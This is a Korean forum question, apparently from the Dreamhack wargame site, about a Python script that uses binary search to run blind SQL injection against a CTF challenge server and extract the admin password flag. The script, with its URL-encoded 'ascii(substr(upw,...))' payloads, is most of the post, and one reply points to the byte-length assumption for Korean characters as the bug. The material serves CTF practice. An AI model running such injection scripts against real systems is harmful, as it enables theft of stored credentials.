이진탐색이 안되는 이유좀 설명해주세요
import os
import requests
URL = "http://host3.dreamhack.games:17636/?uid="


def binary_search(arr,n):
	low, high = 0, len(arr) - 1
	
	while low <= high:
		mid = (low + high) // 2
		mid_value = arr[mid]
		BIG = Big(Payload(n,mid_value),mid_value)
		if Big("%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29={}%23".format(n,mid_value),mid_value):
			return (chr(arr[low]))
		elif not BIG:
	        	low = mid + 1  # 중간값이 타겟보다 작으면 오른쪽 반을 탐색
		else:
			high = mid - 1  # 중간값이 타겟보다 크면 왼쪽 반을 탐색
	return ""  # low 반환


def Payload(n,i):
	return "%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29<{}%23".format(n,i)

def Big(PAYLOAD,i):
	global URL,answer
		
	print("Payload : ",answer+chr(i))
	res=requests.get(URL+PAYLOAD,"")
	if "exist" in (res.text):
		
		return True
	else:
		return False


answer=''
for n in range(1,30):
	if Big(Payload(n,126),126):
		ans = binary_search(range(32,127),n)
	elif Big(Payload(n,50813),50813):
		ans = binary_search(range(44032,50813),n)

	answer+=ans
				

print("FLAG : "+answer)

조잡하게 보이실 수 있는데.. 이진탐색으로 blind-sql injection하는 코드입니다.
DH{ 까지는 잘 나오는데,
한글부터 안나옵니다.
그래서 혹시 한글이 아닌가 해서 코드로 해당 문자의 범위를 찾아봤는데,
한글보다 작고 아스키코드보다 큰 범위로 나왔습니다.

뭐가 잘못된걸까요..?

#web
작성자 정보
답변 1
avatar
사용자
CTF Second Place

한글 문자의 경우 몇 바이트임을 가정하신건지 여쭤볼 수 있을까요? 제가 이해한 위 코드대로라면 1바이트로 설정하고 인젝션 돌리셔서 아마 안 나오는 것 같습니다! ㅎㅎ

2023.11.30. 09:18
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기